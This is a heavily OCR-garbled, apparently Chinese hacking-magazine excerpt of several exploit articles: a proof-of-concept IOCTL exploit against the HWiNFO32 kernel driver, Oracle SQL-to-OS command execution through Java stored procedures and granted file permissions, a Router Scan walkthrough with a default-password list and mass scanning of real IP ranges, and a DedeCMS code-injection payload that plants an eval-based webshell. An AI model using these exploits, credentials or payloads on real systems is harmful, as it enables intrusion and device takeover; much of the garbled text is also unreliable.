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HWINFO32 Xz {F = Hhht 5 [ & B IRiH

3/ ywledoc

XA 2 AR FE IR BN RE R B HE I, a2 AR HWINFO32 BKz) fir
AR, T HWINFO32 FFARIRENRE RIT A HISR5Y, Brbla Shren e g 7 —%&F. &
WAUL T, iR

HWiINFO32 IXB JEAN ™, it AT ik 55 ] 5 Eedi I« SR EhAS R L& HWINFO32,
HAFRA Mydriver32.sys, KIRA T, WMACEAILSE T, YIRS IRE) T 2801 50T -

VEAH UL T JwiA : 7E DeviceloControl fF£H, 4 loControlCode=0x85FE2600 K, A~k it
JEH LN IpOutBuffer 23, B3 ntllopfCompleteRequest &, &id— RFIALFE, &
Z47E ntllopCompleteRequest F=A2iwIH, Al S TR AL, PR H A 251 R4 3= 1A & A 1E
nt!llopCompleteRequest, LAt 5 RGA . LMK xp sp3 AT IEH A, Win7 WA 5200 .

& windbg FHE B .

PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except,

it must be protected by a Probe. Typically the address is just plain bad or it

is pointing at freed memory.

Arguments:

Argl: ffff0000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write operation.

Arg3: 804ed09b, If non-zero, the instruction-address which referenced the bad memory
address.

Arg4: 00000000, (reserved)

Debugging Details:

WRITE_ADDRESS: ffff0000

FAULTING_IP:

nt!lopCompleteRequest+92

804ed09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

MM_INTERNAL_CODE: 0

DEFAULT_BUCKET_ID: CODE_CORRUPTION

BUGCHECK_STR: 0x50

PROCESS_NAME: TestMyDriver32_

IRP_ADDRESS: 82177f68

DEVICE_OBJECT: 81d5f518

DRIVER_OBIJECT: 81d26288

IMAGE_NAME: DgSafe.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 5406843

MODULE_NAME: DgSafe

FAULTING_MODULE: b1250000 mydrivers32

TRAP_FRAME: b137f91c -- (.trap Oxffffffffb137f91c)
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ErrCode = 00000002
eax=00000110 ebx=82177f68 ecx=00000044 edx=00000001 esi=81f24680 edi=ffff0000

eip=804ed09b esp=b137f990 ebp=b137f9d4 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
nt!lopCompleteRequest+0x92:

804ed09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

Resetting default scope

LAST_CONTROL_TRANSFER: from 80533797 to 804e450a

STACK_TEXT:

b137f46c 80533797 00000003 ffffOO00 00000000 nt!RtlpBreakWithStatuslnstruction

b137f4b8 8053426e 00000003 80612298 c03fffcO nt!KiBugCheckDebugBreak+0x19

b137f898 8053485e 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574

b137f8b8 805251a8 00000050 ffff0O00 00000001 nt!KeBugCheckEx+0x1b

b137f904 804e2747 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5

b137f904 804ed09b 00000001 ffff0000 00000000 nt!KiTrapOE+0xcc

b137f9d4 804ed11a 82177fa8 b137fa20 b137fal4 nt!llopCompleteRequest+0x92

b137fa24 806f2c35 00000000 00000000 b137fa3c nt!KiDeliverApc+0xb3

b137fa24 8062861 00000000 00000000 b137fa3c hallHalpApcinterrupt+0xc5

b137faac 804e63cc 82177fa8 8217768 00000000
hal!KeReleaselnStackQueuedSpinLock+0x11

b137facc 804ed134 82177fa8 81d2d588 00000000 nt!KelnsertQueueApc+0x4b

b137fb00 b1251f27 81d2d588 81d26288 82177f68 nt!lopfCompleteRequest+0x1d8

WARNING: Stack unwind information not available. Following frames may be wrong.

b137fc34 804e4767 81d5f518 8217768 806f22d0 mydrivers32+0x1f27

b137fc44 805692ab 82177fd8 81d2d588 8217768 nt!lopfCallDriver+0x31

b137fc58 805781e2 81d5f518 8217768 81d2d588 nt!llopSynchronousServiceTail+0x70

b137fd00 80572705 00000054 00000000 00000000 nt!lopXxxControlFile+0x611

b137fd34 804df7f8 00000054 00000000 00000000 nt!NtDeviceloControlFile+0x2a

b137fd34 7c92e514 00000054 00000000 00000000 nt!KiSystemServicePostCall

0013fed8 7¢92d28a 7c801675 00000054 00000000 ntdll!KiFastSystemCallRet

0013fedc 7¢801675 00000054 00000000 00000000 ntdll!ZwDeviceloControlFile+0xc

0013ff3c 00401058 00000054 85fe2600 0013ff68 kernel32!DeviceloControl+0xdd

FOLLOWUP_NAME: MachineOwner

MEMORY_CORRUPTOR: PATCH_DgSafe

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_PATCH_DgSafe

BUCKET_ID: MEMORY_CORRUPTION_PATCH_DgSafe

Followup: MachineOwner
% i 2 . mydriver32->ntllopfCompleteRequest->nt!lopCompleteRequest ,  fE

mydrivers32+0x1f27 &b, 4 loControlCode=0x85FE2600 If, A%t /4% A\ i) OUTBUFF #E4T/F
fABGAE, H BB T ntllopfCompleteRequest, fj lopfCompleteRequest 31X # — BeARAS o
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status = STATUS SUCCESS;
try {
RtlCopyMemory | irp—»UserBuffer,

irp-*Assogciatedlrp. SystemBuffer,

irp-*IoStatus.Information );

} except (IopExceptionFilter (CetExceptionInformationi), &sstatus))} |

IERRKBANUD, & 5 I . AR AU, B 208 L R N 240y PoC H1HIEL
i, ESCBR A E N 0x2, AR, A BA NRES R Tl MK poc 445,

VOID TestMyDriver32()
{

HANDLE hCreateFile = INVALID_HANDLE_VALUE;

DWORD dwlInBuffer = 0x6¢c777923;

DWORD dwOutBuffer = 0xf8be8020;// 1 ¥% 1] 5 Hihiki% 147 56 ik

hCreateFile = CreateFileA("\\\\.\\HWiNFO32",

0, // no access to the drive

FILE_SHARE_READ | // share mode

FILE_SHARE_WRITE,

NULL, // default security attributes
OPEN_EXISTING, // disposition
0, // file attributes
NULL);
if (hCreateFile == INVALID_HANDLE_VALUE)
{
printf("Error Open Device!\n");
return ;
}
DeviceloControl(hCreateFile, 0x85FE2600, (LPVOID)&dwInBuffer, 4,

(LPVOID)dwOutBuffer, 0, &dwlnBuffer, NULL);
CloseHandle(hCreateFile);

return;
}
int _tmain(int argc, _TCHAR* argv[])
{
char ¢SSS[10];
TestMyDriver32();
scanf("%s",cSSS);
return 0;
}

P 1 S I TR e A 1 45 R AR IE
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d> dd f8be8000
f8be8000 00905a4d 00000003 00000004 OO0DOffff
f8be8010 000000b8 00000000 00000040 00000000
FBbeBDZD DDDDDDDU|DDDDUUUD 00000000 O0OOOOOOO
= 00000000 00000000 OOOOOOAO
f8be8040 Oebalfle cd09b400 4c01b821 685421cd
f8be8050 70207369 72676f72 63206d6l 6fbebebl

f8beB060 65622074 62757220 2066920 20534f44
f8be8070 65646f6d 0a0d0d2e 00000024 00000000

f8be8020 DDDDDDDZlUDUUUDUU 02230002 6966744e
f8be 00000000 00084000 0O00OOOOO

f8be8040 00000002 00000002 00000000 0O0OOOOOO
f8be8050 8led6100 e=leS5a648 821c060 00000000
f8beB060 821c0710 821c0710 821c0718 821c0718
f8be8070 00000000 00000000 0OOOOOOOO OOODOOOOO
f8be8080 00000000 00000000 eleSa7a0 00000000
f8be8090 00000000 00000000 0OOOOOOO 0OOOOOOO

K1

43 HTi8%E Oracle B4 )%

/BT
Oracle =—MNEHEFE 2%, Ml MS SQL Server HUEFESAL, CHF SQL iE = M RIN L L
Fr ada gnfe. Java fCRS4MFESE, T LLZATAE Windows. Linux 58 1E RS b A ST e
3% Oracle $0¥a I RS AT AL
Oracle FIIRIAAIRZ, nBRIN DBSNMP MK S, (RARAHY) SID #ezs, AHALPRIET,
— e HATAE SQL VEN, ZRh X i 554 . | R THFRA 1R AR Oracle FIERIK S, SRJEMH
F Delphi ZRFETEHE FE %5 #5 L HAT R M2

Oracle $3E FE Il 5 W A

DTG 2 B, BRI 0 2% 05, BERI DI EAN RGN, BT HE A7
i, FIIRSCHE, PUE THRRIAR, BATHEI NI A “Oracle H¥RFEHIFTR” ,
HFH W 1 R .

s [F2] Oracle 3BFEH I THol.0 www.icafe.cc

FEMEEE, FRESTHR

E N st afe.co sl

& Bk i | BRE oo
c: D E: F: G: H:

8 EPE

BIERIAVATRHT

- Eats
i

D BRI

eSS
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BAHEW LBEEFR S oracle KRG, B4k, HuiiH 16521 &G, & Rl Bk
£88 H Oracle . FRATLL 202. 107, %, % AFISRMER T, 0 2 Fix.

G [M3] 0racle HEESTT THvl. 0 wrr isafe. cc

E A [202.107 W B [afece F [
b FIEEE |

& BIIER ) ANARR E ZZFP login Error ;I
ZZQ login Error
ZZR login Error
B thiTens 225 login Errar
ZZT login Error
ZZ11 login Error
-éiﬁj{ﬁ: ZZV login Error
ZZW login Error
ZZ¥ login Error

= Bl ZZY login Error
ZZZ login Error

& T

W ET

(

I N[ KT

ERTh: P PGz TRAPGS

K 2

Oracle FHEERITER WL

FA1M# FH Delphi [ odac ZHAFRGmFE LI Ay SPAT, TS IATRE Java BEL K
17 0S 1% BB RA 1 FARRY, IXAMUISA B, #erE SQL & 1 s IR Bl N 25 (FE
odac & —FERT), {HZTE salplus A REINER, RIEWT:

/ /B Java J§ www isafe cc Util
create or replace and compile
java source-named “www isafe cc Util”
as
import java. io. *;
import java. lang. *;
public class www_isafe cc Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime. getRuntime() ;
int rc = —1;
try
{
Process p = rt. exec(args);
int bufSize = 4096;
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BufferedInputStream bis =
new BufferedInputStream(p. getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System. out. write (buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace() ;
rc = —1;
}
finally
{

return rc,;
}
}
}
/
Java created.
/ /BN R www_isafe cc RUN CMD
create or replace
function www isafe cc RUN CMD(p cmd in varchar2) return number
as
language java
name ~www isafe cc Util. RunThis(java. lang. String) return integer’ ;
/
Function created.
/ /L — I R FH oR 4
create or replace procedure RC(p cmd in varchar2)
as
X number;
begin
x 1= www isafe cc run cmd(p cmd) ;

end;

1t sqlplus M, g5 2 fE 3 Frow.

variable x number;
set serveroutput on
exec dbms java. set output (100000) ;

grant javasyspriv to system;
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grant javauserpriv to system;

exec :x := www isafe cc RUN CMD( ipconfig’);

cad - sglplus ~° ' #orcl_192.168. 100. 2

]

SQL> create or replace procedure RC(p_cmd in varchar2)
Et
x number;
hegin
» == wuww_izafe_cc_run_cnd{p_cmd>;
end;

SQL>» variable x number;
SQL>» set serveroutput on
SQL> exec dbms_java.set_output<188688) ;

PL-8QL ;2

SQL> grant javasyspriv to system;

oo cmd — sqlplus ~ l@orcl_182. 168. 100. 2

BQLY exec x = www_isafe_cc_RUN_CHD{'ipconFig"®>;

Windows [P Configuration

Ethernet adapter ﬁﬁtﬁﬁéﬁﬁ 23

iConnection—specific DHS Suffix

IF Address. . - & « ¢ « « « = = - = 192.168.188.2
ubnet Mask . . . . . . . . . . . @ 255.255.255.8
Default Gateway . . .« . « « - . :

Ethernet adapter T'tt -E 15; 1

: Media disconnected

=

K3

{HAZAE SQL B I ASREDAT , SQL & AT sqlplus H K164 T L5247 XA 1, BI04 Delphi
) odac PR SQL & U7 AT HY, 7EM B3R TR BORL, WAMR, RIS Java
PASSEBL T odac HAFRIHAT M2 WA IR A], Z AR FONRRAS 2, AT

B3k Java YR www_isafe cc Util:
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create or replace and compile java source named “www isafe cc Util” as import
java. io.*; public class www isafe cc Util extends Object {public static String
runCMD (String args) {try{BufferedReader myReader= new BufferedReader (
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );
String stemp, str="";while ((stemp = myReader.readLine()) != null) str
+=stemp+”\n” ;myReader. close () ;return  str;} catch (Exception  e) {return
e. toString () ;}}public static String readFile(String filename) {try{BufferedReader
myReader= new BufferedReader (new FileReader (filename)) ; String stemp, str="";while
((stemp = myReader. readLine()) != null) str +=stemp+”\n”;myReader. close() ;return

str;} catch (Exception e) {return e. toString();}}

}

G2 P B # www isafe cc RunCMD:

create or replace function www isafe cc RunCMD(p cmd in varchar2) return
varchar? as language java name ~www isafe cc Util. runCMD (java. lang. String) return

String’ ;

TR T AT BLR :
begin dbms java. grant permission( ’PUBLIC’, ’SYS:java.io.FilePermission’,
*(KALL FILES>>’, ’execute’);end;

A WINPT T, i 4 Fon, A 455 R HE R ThEs i o H s A ZEAS
% . W1F 2 Delphi #0474 1) AR

% [W2] Oracle MiBEEHFLHv1. 0 wws. izafe.cc

KEMZEZL, FRkE2THR

E N [202.107 S

s fipconfig o BT

8 Tk

] Bl A B

FHifE: 1Pus ML
1a948:801F :d774:c76%12
1Pl Hithh H 187 . Zmnn
T__|I -

B tiTad
.255.255.192

07,0
i

= BFRME
T

-168.1.188
-255.255.8
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procedure TfrmMain. btnCreateFunClick (Sender:

var
ConnStr:string;
StrSQL, StrSQL2:string;
begin
btnCreateFun. Enabled:=False;
try
try

TObject) ;

ConnStr:=Format ( %s/%s@%s’ , [edtUser. Text, edtPass. Text, edtSid. Text, edtHost. Text]
)

OraSessionl. Options. Direct:=True;
OraSessionl. Server:=edtHost. Text;
OraSessionl. Username:=edtUser. Text;
OraSessionl. Password:=edtPass. Text;
OraQueryl. Connection:=0raSessionl;
if OraQueryl. Active then

Oraqueryl. Active:=False;
OraQueryl. SQL. Clear;

//oraqueryl. SQL. Text:= ’select * from v$§version’ ;

OraQueryl. SQL. Text:= MemoPack. Lines. Text;

OraQueryl. Execute;

Memol. Lines. Add ( .24 ) ;
while not OraQueryl.Eof do
begin

Memol. Lines. Add (OraQueryl. Fields[0]. asString) ;

OraQueryl. Next;
end;
if OraQueryl. Active then
OraQueryl.Active:=False;
OraQueryl.SQL. Clear;

OraQueryl. SQL. Text:= MemoFunc. Lines. Text;

Oraqueryl. Execute;

Memol. Lines. Add C B &) ;
while Not OraQueryl.Eof do
begin

Memol. Lines. Add (OraQueryl. Fields[0]. asString) ;

OraQueryl. Next;
end;
if OraQueryl. Active then
OraQueryl. Active:=False;
OraQueryl. SQL. Clear;

OraQueryl. SQL. Text:= MemoProc. Lines. Text;

Oraqueryl. Execute;

HACKER DEFENCE
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Memol. Lines. AddC IR &) ;

while not OraQueryl. Eof do
begin

Memol. Lines. Add (OraQueryl. Fields[0]. AsString) ;

Oraqueryl. Next;

end;
StrSQL2:="begin dbms java. grant permission ( > PUBLIC
"7 SYS: java. io. FilePermission’’, ’’<<ALL FILES>>’’, ’’execute’’);end; ;

StrSQL:= begin

dbms_java. grant permission(’ PUBLIC ’,

7 SYS: java. io. FilePermission’’, ’’<<ALL FILES>>’’, ’’read’ ’);end; ;

if oraQueryl. Active then
oraQueryl. Active:=False;
OraQueryl. SQL. Clear;
OraQueryl. SQL. Add (StrSQL) ;
OraQueryl. ExecSQL;

Memol. Lines. Add C TR AR ) ;

if oraQueryl. Active then
oraQueryl. Active:=False;
OraQueryl. SQL. Clear;
OraQueryl. SQL. Add (StrSQL2) ;
OraQueryl. ExecSQL;

Memol. Lines. Add C IR FAR) ;

ListFolderJavaSource;
Memol. Lines. Add C %] H 3> );
except
on e:Exception do
begin
ShowMessage (e. Message) ;
end;
end;
finally
end;
btnCreateFun. Enabled:=True;

end;

AT Oracle Hif FEEE AR HISHAEN T, BIPATIRF SERE L, — 25— DRI,

B AP T B e R 55 28 R G

f#F Router Scan ARG 2% 251

/Kl simeon
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Router Scan & — 3% HHAS MK TR, 1 LARE 1P BN % tH 28 34T 58 U 5 2 4
MR, SZEFZFl TP-LINK. Huawei. Belkin, D-Link 255K 5 (2% fr 8%, WIRD 2 4
NBTFRI—E22WA TR, BAiCEx AR #HT TR, S RA Ny 2.47, B 77 Wk
3t http://stascorp.com/load/1-1-0-56. Z4 M43 T SR AR A %%, KIKE SR
AR AR S5 A%, A B R R A AR B tck, HATAE R w R, #0

N

JZ1T Router Scan v2.47

Router Scan v2.47 7£ M _EAG DAGRASE T 21, AN B hi A 7 B A 2 4 HAB A i 25
BT BB 7 5 5 F 3. Router Scan /& S B, BLIEIZAT AT HUATHE)F RouterScan.exe HIHT,
FLH A 1 7~ . Router Scan v2.47 7E Router Scan v2.44 FERt Al 7 —2Lpqsh, ZwiEdad P
BTG B ORAALEIR, ST — e R

iBouter Scan ¥2.47 Update 1 by Stas'l (=] 5|
Start scan | Max. threads: Scan ports: +| - | EnterIPrangestoscan: E |+ - | X Search 1~ Use credentials—— ~Scanning modules
30 Text to search: Username: Router Scan (main)

Detect proxy servers
(V] Use HNAP 1.0
[] 5QLite Manager RCE
[ Hudson Java Serviet

freo I 3080 |
Timeout (ms): 1080 I™ Case sensitive [ all
2000 \ﬂv « Back Forward »
\ — Copyright © Stas'™ Corp, 2014 = T
http:/jstascorp.com e e bl
Realtime Stats | Good Results | Search Results |

Options: |V Follow last line (¢ Default tab for AutoSave
IP Address. ]Port ITime ms)|Status |Authurization ]Servev name | Realm name { Device type 'Radio Off IHidden ]BSSID ESSID.
Ki| |
|
[Ready [Active threads: O [Total found: O |Good found: 0 4

1 iZ1T RouterScan f&%

% & RouterScan THHSH(
1 BREHMRO

E RouterScan HH—=JLH /NN T FEBE S, BARELBEMEHEIN (1000 Bin],
WAREN, {EuEHFH (scan ports) HELT: “+7 BRI A & S a8/ 1, X
XA BRI 4% EH 5 i 1 A e s e A A, ] 2 B, 5 LR B0 I E R N B
S S EIAT, B0 443 FoRdt 443 I OB TR IR .
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,~Bouter Sean v2 47 Update 1 by Stas'B I ~_l (=3}
Start scan | Max. threads: Scan ports: Enter IP ranges to scan:  E | + | - | X I Search Use credentials—— ~Scanning modules—————
1300 ‘Ei a0 Text to search: Username; Router Scan (main)
3080 I l.admm E Detect proxy servers
i : Use HMAP 1.0
e (), ™ Case sensitive I~ Al Password: [] 5QLite Manager RCE
IZUUO ‘VI < Back l Formard I [querty "] Hudson Java Serviet

‘ : — Copyright © Stas™ Corp. 2014
http:{istascorp.com Settings and Tweaks |
Realtime Stats | Good Results | Search Results |

X
Options: [V Follow last line €+ Default tab for AutoSave =]
1P Address Port_[Time (ms)[Status Example: 1234 e | Device type [Radio off [Hidden [ess1D [Essio

IZE]

Cancel I

KN |

[

[Ready |Active threads: O [Total found: O [Good found: 0

2 Mg

2) WEAH p HuEE

1E 1P Ml 39 45VEH (Enter IP ranges to scan) A ELTh “ 47 W LA IN4A 4 1P shhl, #wr
PUBIE B “ranges.txt” SCAFN A AT, BI04+ 124.205.0.1-124.205.255.255, FIiR~
A “124.205”7 1B B, WK 3 Fas, AT IE—AN 1Ptk SAMERT LR “E7,
BEmERRVOE, @bt BT AR, Wk 4 FoR.

,Bouter Scan v2.47 Update 1 by Stas'l

Start scan | Max. threads: Scan ports: +| - | Enter IP ranges to scan:  E . - | ><|

=1olx]

Use credentials—— ~Scanning modules—————

]300 \j 80 o search: Username: Router Scan (main)
— 3080 l.admm [C] Detect proxy servers
i : |1080 b Use HNAP 1.0
Timeout (ms); 109 | ACaMensitive I~ al Password: [] 5QLite Manager RCE
IZUUO E h 3 Back l Formard I [querty "] Hudson Java Serviet

Options: V' Follow last line (¢ Default tab for AutoSave  172,16.0.0{12
e | Device bype [Radio off [Hidden [BSSID [essio

1P Address Port_[Time (ms)|Status 5 éﬂ 3
i

" — Copyright © Stas™ Corp. 2014 |  PapgeE < ,X
\ http:ffstascorp.com == e - i ittings and Tweaks
Realtime Stats | Good Results | Search Results | Examples:
192.168.0,1-192.168.0.254

the end of list.
" button,

124.205.0.1-124,205.255.255

h
‘ ' Cancel I

3\ 2

[Ready |Active threads: O [Total found: O [Good found: 0 4

3 WEANM P kT
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Start scan | Max, threads: Scan ports: - | Enter IP ranges to scan: Use credentials——— ~Scanning modules———
oo 2] [@0 124.205.0.1-124.205. zss 255 Te"’ tosearch: [V Router Scan (main)
8080
Timeout (ms):  |1080 5
) 443 T Cace concitive [ ol ] SQLite Manager RCE
oo @ﬂﬁ!!!!!L_é St
Copyright © StasM Corp. Suppottd range tyes:
= http:fjstascors| 192.168. (single IP Address)
z 192,168, u 1 192.168.0.254 (nla\n range, first-last)
Realime Stats | Good Resuls | searchResuits | | 175157 012 (masked range, ipjmask bits)
Options: ¥ Folowlast ine (@ Defaulttab for | 10:0-4.0.1,254 (Nmap style, octet ranges)
1P Address. [Port_[Time (ms)[status 124.205.0,1-124.205,255.255 = [Radio Off [Hidden [BSsID [Essip
H |
) ;I_I
@ oK Cancel ﬂ
I
[Ready [Active threads: 0 [Total found: O [Good found: O 7

3) REHESH

WK 5 fos, BRA H s R4

K 4 st 1p Hihk g i

FHIGH T . A4 RS SERfE “Realtime Stats” 3T B IR .

smBouter Scan v2.47 Update 1 by Stas’l

Stop scan | 1l I threads) Scanports: I = | EnterlPrangestoscan: E |+ =[x Search Use credentials
I;m ]31 124.205.0.1-124,205.255.2 irext to search: lIJsemame:
admin
Timeout (ms):
L 443 I” Case sensitive [~ Al Passwordi

1=

\ — Copyright © Stas™ Corp. 2014
http:ffstascorp.com

Realtime Stats IGuod Results | Search Results I

« Back Forward » I

v

*\ =
canning modules |

=lolx]

| options: [V Followlast ine (< Default b for Autosave

1P Address Port _|Time (ms})|Status |Authorization Server name § Realm name { Device t . |radio off |Hidden [BSSID ESSID

124.205.0.4 80 16 SQLite Done Apache(2.2.22 (Unix) PHP(S.3.15 »

124.205.0.130 80 1] Can't load main page

124.205.0.147 80 0 5QLite Done Apache/2.2.3 (Cent0s)

124.205.0.150 8080 1S SQLite scan... QQ/1.0.0 (Tencent)

124.205.0.166 80 0 5QLite Done Apache(2.2.15 (Win32) PHP/S.2.6

124.205.0.194 80 o SQLite Done Resinf2.1.16 . N

124.205.0.194 8080 O SQLite scan... Router o

124.205.1.10 8080 266 SQLite Done Resinj3.0. 21

124.205.1.18 80 16 SQLite scan... Virata-| EmWebIR.G 0_! l

124.205.1.18 443 16 SQLite scan... Virata-Emweb/R6_0_1

124.205.1.20 80 o SQLite Done Microsoft-115/7.5

124,205.1.20 443 15 Checking proxy... ‘Mlcrusoft ft-115/7.5

K] |
(] | 6 U
[Scanning mow: 124.205.1.143  [Active threads: 130 [Total found: 12 [6o0d found: O 7

4) HiEXFH

K5 WEHESH

B, AT DA B AR S5 2R (S B . e “ start scan”

FEFSEAE H 3¢, FTJF auth_basic.txt SCHF, a1 6 Fos, SINIK S A, K-S R

WM BT, RELAMER] /77

BEATIERE, (T 7 I

\ alh_basic, txt - W0BR
THE W®EE BROQ FEW BBHO

[ =10l x|

enable cisco
pnadmin pnadmin
root attack
root Cisco
admin  1qaz2usx
// user access
user <empty>
user user

<empty> user

//Netipia R7100}ZHHE2
netopia netopia

7735137010
admin epicrouter
SZIH SZ2IH

/73535 2118EH ROUTER
user password
root grouter

/R EED AL AR
adsl ads11234
1IER

admin dare

//zyxel

K6 19Nt

~
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3 E EXPLOIT ATTACK & DEFENCE
“4 R ) EESRE ) MANF ) ra

BEFSTEBER
7E RouterScan ML T HHIREME R ER, W 7 Fow, RS REERFTT
77, BT FREE “Realtime Stats”. “Good Results” Fll “Search Results” HFATEE, XHAHE 4

R, WCLES HAR, AR d BRI A SR AR, WlE 8 Fis.

smRouter Scan v2 47 Update 1 by Stas’R

=lolx]

canning modules

E ¥l Router Scan imaln!

E ¥l Use HNAP 1.0
[V SGLite Manager RCE
V] Hudson Java Serviet

B 53 earch
Text to search:

stopscan | || | 1o thread
00 \3,
e I Case sensttive [~ Al
ZIE| «Back | Forward »
\ Copyright © Stas'M Corp. 2014
= hitp:fjstascorp.com Settings and Twesks |
Realtime Stats Good Results. |search Resuts |

Options: [V Follow last fine ¢ Default tab for AutoSave
1P Address [Port_[Time (ms)[Status [Authorizetion [Server name { Realm name / Device type [Radio Off [Hidden [BSSID ESsiD.
124,2055.234 180 0 5QLite Done admin:password  DI-504

124.205.24.210 80 16 SQLite Done Admin: Admin Router

il =
([ITTTTTITT]
[Scanning now: 124.205.28.210  |Active threads: 137 [Total found: 480 [Good found: 2 %

K7 SFEAMER

€ & X [1124.205.5.234

w2
TOEH
L3 192188.188.
A it
P Bnr0Id-c4299ca2031cB602,192.18.198.122, 30 BCTAAIIDGS ¥
2
E ST T L]
f 03 )
THEs Pl WAC 18
1t 22180 LRSI

192188.188.138
192188188138 ACB13798606), Jan

03202161

se7RBEEG 3408
bor¢83DIBISS

1142 E8to2 010k
e 192169188443 79 TERI 335600
102183198044, A6 1731F251 50

K 8 Ui i e gk nd H b

DeDeCMS soft_edit.php TR EHATIRIH
S-SR A

3/ B R

DedeCms & —E IR N2 K AT RS, 20140228 B3R A AR T FEACRDHAT IR, Tl
P ZIR S E 4, AEsAT/E = PHP AR

LR Ih A 1% IR 75 BT &l 4 AR, IR SO N soft_edit. php SCF, REECHS
/I

if (preg match ("#[ =&///?\. a—zA-20-9-1+$#i”, $softurl))

HACKER DEFENCE 16



WA A5 b e
{
ShowMsg (" #fi & B AF LR ST IR L, 7=17)

exit;

T AT IE N BEVCECAE & 7455, FTPAEAF] showMsg () 1X . 4 5L KMR—F,
N2 S ) PHP AXHS, SCF44°N preg match. php.

<{?php

$softurl="http://www. isafe. cc/ ;

if (!preg match ("#[ =&///?\. a—zA-20-9-]1+$#i”, $softurl)) {
print "R FHAT, BH”;

}

else

{

print “A] PAUGHED, JeiFfhA”;

}

>

AT preg match. php, RCRMWE 1 Fros.

e CzA\WIRDO¥S\=system32icmd. exe

Dz ~delphifkylixs__  “orkSpace 1813 _dedecms_5.7_>c :“AppServiphpSsphp.exe I
AILLILE, iR

D= ~delphigkylix \; “orkEpace B1B13_dedecms_5.7_>_

K1

DR ESFT I http://test. isafe. cc:2217/DedeCMS GBK 5.7/, #RjGiEM<i, 0
Kl 2 Fris o

HACKER DEFENCE 17



N NE EXPLOIT ATTACK & DEFENCE
“4 im iR B B ) ESE O MEANT )

™ - |':j' testisafe.cc:2217/DedeCMS_GEBK_5.7/member/index_do.php?fmdo=user&dopost=regnew

x.

1 e #E M

(# ~SHFETAEERE » PSR T 3T 20060, BT 3T

thSzes 1 O Ol

APE: | isfe.cca |~ VAP &R
RPEE | e cco | =
HEEWE | sssssssss | -

L = e

TATH | cesvosses | “VAEE®#
B FHRE © | zhaoxypassohotmal.com | = varel
ZeEE: [RELRTAD v| (iR TR B T
il B | |

K 2
TEM RIS e B 45 5 bl , AE A0S H DB, AT L _EAE— DB, Ak 3 s

[ EEE - 2550 - BRI x | -
B iR, safecc [EH] EiHE

A\ - J

DEDECAAS SR0U

= BE W& -FL e a - U s

@ wit T BT
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3 E EXPLOIT ATTACK & DEFENCE
“ R ) EESRE ) MANF ) /

K3

EEES N84, A& “BR7, B M 17 N
http://www. isafe. cc}x{/dede:1ink} {dede:a
text\’ =x’ ]=0:eval (chr (101). chr (118). chr(97). chr (108). chr (40). chr (34). chr (36). ch
r(95). chr (80). chr (79). chr (83). chr(84). chr(91). chr (99). chr (93). chr (59). chr(34).c
hr (41). chr(59)) :// }xxxx{/dede:a} {dede:1ink}, W& 4 i/~

S CHRUL - o

SNSRI el Http s Sveeewisafe. oo BEEERR ST 1 | HTE
B2 ;| RESRERR:

BIER : PR AN

K4
AL JEAE data\tpleache\ H 3 N &R — inc 3CfF, Wil 5 .

dedecms_ghle 5. Thdata‘tpleache
B

rg 421 TS6B1T3T0bAT el c8ed £acBB0B5 52, inededSbSeTacS03064d. ine. txt
gé*lelTEEnblTSTDb dTelcBed facBB0ERARR. inefedSbSoTact0306d. ine |
% 421 TE6L1T3T0bAT el cYed £2cBB06E 52, 11e
E 1a03abd5 9093 T2302664 258 3854264, 1ncelaf11a51512Ted3. 1ne. txt
% 1a03abd5 cI0I3T2302664 58 08554764, 1ncelal11451512T 243, ine
_E’I 1a05abdS 9093 TEI02664e55 0555 4264, inc

K 5

A 4e1756b17370bd7e1¢9c4fac86068d62. inc8edbbbc7ac50306d. inc HIARARUI T .

<?php

$z[0]=Array ("1ink”,” http://www. isafe.cc}x”, 0, 61);

$z[0]1[4][ text’ J="AHLTE";

$z[1]=Array ("a”, “xxxx”, 61, 260) ;

$z[1]1[4][ text\’ ]="x 1=0;eval (chr (101). chr (118). chr (97). chr (108).
chr (40). chr (34). chr (36) . chr (95). chr (80). chr (79). chr (83). chr (84).
chr(91). chr(99). chr (93). chr (59). chr (34). chr (41). chr (59)) ;//”;
$z[2]=Array (“1ink”,” ”, 260, 284) ;

>
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: 3E EXPLOIT ATTACK & DEFENCE
“4 wm H BB ) ZERE ) MANTF )

A LLE B RA TR AE B L A4FLE T - Dedecms 2 1F {dede:a text’ =x’ 1=0;eval H1f] x
ZETIAS <77, prULVEARIMER A S S

http://www. isafe. cc}x{/dede:link} {dede:a
text’ =x’ ]=0;phpinfo() ;// }xxxx{/dede:a} {dede:link}xxx

FE GPC 29 On M1 OFf F, fHOLZEAFER. TIHKATFT magic_quotes_gpe=0ff T HIIE L,
TEBH “text” =x" 7 R “text\\=x" 7, KZF REAMPATH, FHAT 77N, BN
7 “$z[1][4][ text’ ]="x" ]1=0;7

AR TEIE A text Eﬁﬂﬁgﬁ'gl%, XA E] 5 0E dedecms HENIN AT, FrLAH
N\ RGUINARAN R TR, WS T o IBAWfIRgE—A “\" 7 FRe? 2
AW M oo 1”7 B3 N http://www. isafe. cc)x{/dede:1ink} {dede:a
text\\=x"]=0;phpinfo();// } xxxx{/dede:a} {dede:1ink} xxx BRI LL T, FLELE text JGN
A 2ARHT N\, a5 phpinfo () #4047, WKl 6 s

©) phpinfo () — Nozilla Firefoz

M RRE =By BEE BEE IR0 S50

€« - x & & ™M - ‘ @ testisafe.cc:2217/DedeCMS_GBK_5.7/member/soft_edit.php?channelid=3&aid=109
| phpinfo = [+

| SERVER["R |/Ded=CMs_GBK 57, tedit id=103 \
[EQUEST_URY|

[1

[ SERVER["S [Ded=Cs_GEK = 7/member/sofi_sditphp

[ SERVER{"P ['edeChs_GEK_57/membar/scht_editphp

IHP_SELF"]

